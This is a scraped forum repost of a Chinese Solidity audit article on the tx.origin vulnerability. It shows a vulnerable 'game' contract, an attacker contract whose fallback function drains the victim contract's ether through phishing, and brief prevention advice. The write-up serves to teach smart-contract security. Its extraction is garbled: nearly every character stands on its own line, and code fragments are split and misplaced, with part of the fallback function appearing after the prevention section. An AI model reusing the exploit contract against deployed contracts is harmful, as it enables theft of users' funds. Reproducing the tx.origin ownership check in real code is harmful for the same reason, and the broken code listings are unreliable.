论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[18918] 2020-07-15_solidity安全审计-tx.origin漏洞
文档创建者:
s7ckTeam
浏览次数:
12
最后更新:
2025-01-18
漏洞
12 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-07-15_solidity安全审计-tx.origin漏洞
s
o
l
i
d
i
t
y
安
全
审
计
-
t
x
.
o
r
i
g
i
n
漏
洞
原
创
I
D
L
a
b
I
D
L
a
b
2
0
2
0
-
0
7
-
1
5
区
块
链
区
块
链
随
着
区
块
链
技
术
迎
来
爆
发
式
的
增
长
和
关
注
,
智
能
合
约
漏
洞
频
繁
被
曝
出
,
那
么
背
后
究
竟
发
生
了
什
么
?
0
1
概
述
概
述
描
叙
:
t
x
.
o
r
i
g
i
n
是
s
o
l
i
d
i
t
y
中
的
一
个
全
局
变
量
,
它
能
够
遍
历
调
用
栈
并
返
回
最
初
发
送
调
用
(
或
事
务
)
的
账
户
的
地
址
,
使
用
t
x
.
o
r
i
g
i
n
变
量
进
行
身
份
验
证
,
会
导
致
合
约
受
到
网
络
钓
鱼
攻
击
。
核
心
问
题
:
使
用
t
x
.
o
r
i
g
i
n
全
局
变
量
绕
过
限
制
,
获
取
一
定
的
权
限
。
0
2
漏
洞
合
约
分
析
漏
洞
合
约
分
析
p
r
a
g
m
a
s
o
l
i
d
i
t
y
^
0
.
4
.
2
2
;
c
o
n
t
r
a
c
t
g
a
m
e
{
a
d
d
r
e
s
s
p
u
b
l
i
c
o
w
n
e
r
;
漏
洞
点
:
攻
击
者
可
以
诱
使
漏
洞
合
约
所
有
者
向
攻
击
者
合
约
发
送
以
太
币
,
然
后
调
用
攻
击
者
合
约
的
函
数
,
从
而
调
用
漏
洞
合
约
的
w
i
t
h
d
r
a
w
A
l
l
(
)
函
数
,
程
序
将
进
入
漏
洞
合
约
中
执
行
,
此
时
m
s
g
.
s
e
n
d
e
r
就
是
攻
击
者
合
约
的
地
址
,
t
x
.
o
r
i
g
i
n
就
是
漏
洞
合
约
所
有
者
的
地
址
,
r
e
q
u
i
r
e
(
t
x
.
o
r
i
g
i
n
=
=
o
w
n
e
r
)
条
件
得
到
满
足
,
_
r
e
c
i
p
i
e
n
t
.
t
r
a
n
s
f
e
r
(
t
h
i
s
.
b
a
l
a
n
c
e
)
可
以
执
行
。
0
3
攻
击
合
约
分
析
攻
击
合
约
分
析
c
o
n
s
t
r
u
c
t
o
r
(
)
p
u
b
l
i
c
{
o
w
n
e
r
=
m
s
g
.
s
e
n
d
e
r
;
}
f
u
n
c
t
i
o
n
(
)
p
u
b
l
i
c
p
a
y
a
b
l
e
{
}
f
u
n
c
t
i
o
n
w
i
t
h
d
r
a
w
A
l
l
(
a
d
d
r
e
s
s
_
r
e
c
i
p
i
e
n
t
)
p
u
b
l
i
c
{
r
e
q
u
i
r
e
(
t
x
.
o
r
i
g
i
n
=
=
o
w
n
e
r
)
;
_
r
e
c
i
p
i
e
n
t
.
t
r
a
n
s
f
e
r
(
t
h
i
s
.
b
a
l
a
n
c
e
)
;
}
}
p
r
a
g
m
a
s
o
l
i
d
i
t
y
^
0
.
4
.
2
2
;
i
n
t
e
r
f
a
c
e
g
a
m
e
{
f
u
n
c
t
i
o
n
o
w
n
e
r
(
)
e
x
t
e
r
n
a
l
r
e
t
u
r
n
s
(
a
d
d
r
e
s
s
)
;
f
u
n
c
t
i
o
n
w
i
t
h
d
r
a
w
A
l
l
(
a
d
d
r
e
s
s
_
r
e
c
i
p
i
e
n
t
)
e
x
t
e
r
n
a
l
;
}
c
o
n
t
r
a
c
t
e
x
p
{
a
d
d
r
e
s
s
o
w
n
e
r
;
g
a
m
e
p
h
I
n
s
t
a
n
c
e
;
c
o
n
s
t
r
u
c
t
o
r
(
)
p
u
b
l
i
c
{
o
w
n
e
r
=
m
s
g
.
s
e
n
d
e
r
;
}
m
o
d
i
f
i
e
r
o
n
l
y
o
w
n
e
r
(
)
{
r
e
q
u
i
r
e
(
o
w
n
e
r
=
=
m
s
g
.
s
e
n
d
e
r
)
;
_
;
}
f
u
n
c
t
i
o
n
s
e
t
I
n
s
t
a
n
c
e
(
a
d
d
r
e
s
s
a
d
d
r
)
p
u
b
l
i
c
o
n
l
y
o
w
n
e
r
{
p
h
I
n
s
t
a
n
c
e
=
g
a
m
e
(
a
d
d
r
)
;
}
f
u
n
c
t
i
o
n
g
e
t
b
a
l
a
n
c
e
(
)
p
u
b
l
i
c
o
n
l
y
o
w
n
e
r
{
o
w
n
e
r
.
t
r
a
n
s
f
e
r
(
a
d
d
r
e
s
s
(
t
h
i
s
)
.
b
a
l
a
n
c
e
)
;
}
f
u
n
c
t
i
o
n
a
t
t
a
c
k
(
)
i
n
t
e
r
n
a
l
{
a
d
d
r
e
s
s
p
h
0
w
n
e
r
=
p
h
I
n
s
t
a
n
c
e
.
o
w
n
e
r
(
)
;
i
f
(
p
h
0
w
n
e
r
=
=
m
s
g
.
s
e
n
d
e
r
)
{
p
h
I
n
s
t
a
n
c
e
.
w
i
t
h
d
r
a
w
A
l
l
(
o
w
n
e
r
)
;
}
e
l
s
e
{
o
w
n
e
r
.
t
r
a
n
s
f
e
r
(
a
d
d
r
e
s
s
(
t
h
i
s
)
.
b
a
l
a
n
c
e
)
;
}
}
f
u
n
c
t
i
o
n
(
)
e
x
t
e
r
n
a
l
p
a
y
a
b
l
e
{
利
用
点
:
其
回
退
函
数
调
用
了
a
t
t
a
c
k
(
)
函
数
,
而
a
t
t
a
c
k
(
)
函
数
中
的
i
f
(
p
h
0
w
n
e
r
=
=
m
s
g
.
s
e
n
d
e
r
)
{
p
h
I
n
s
t
a
n
c
e
.
w
i
t
h
d
r
a
w
A
l
l
(
o
w
n
e
r
)
;
在
条
件
满
足
的
情
况
下
,
可
以
调
用
g
a
m
e
合
约
中
的
w
i
t
h
d
r
a
w
A
l
l
(
)
函
数
。
同
时
,
由
于
传
入
的
地
址
为
攻
击
者
地
址
,
原
合
约
取
出
的
余
额
将
全
部
转
入
攻
击
者
账
户
。
0
4
漏
洞
预
防
漏
洞
预
防
如
果
想
要
拒
绝
外
部
合
约
调
用
当
前
合
约
,
使
用
r
e
q
u
i
r
e
(
t
x
.
o
r
i
g
i
n
=
=
m
s
g
.
s
e
n
d
e
r
)
,
以
防
止
使
用
中
间
合
约
来
调
用
当
前
合
约
合
约
开
发
者
要
尽
量
避
免
使
用
t
x
.
o
r
i
g
i
n
,
改
用
使
用
m
s
g
.
s
e
n
d
e
r
a
t
t
a
c
k
(
)
;
}
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页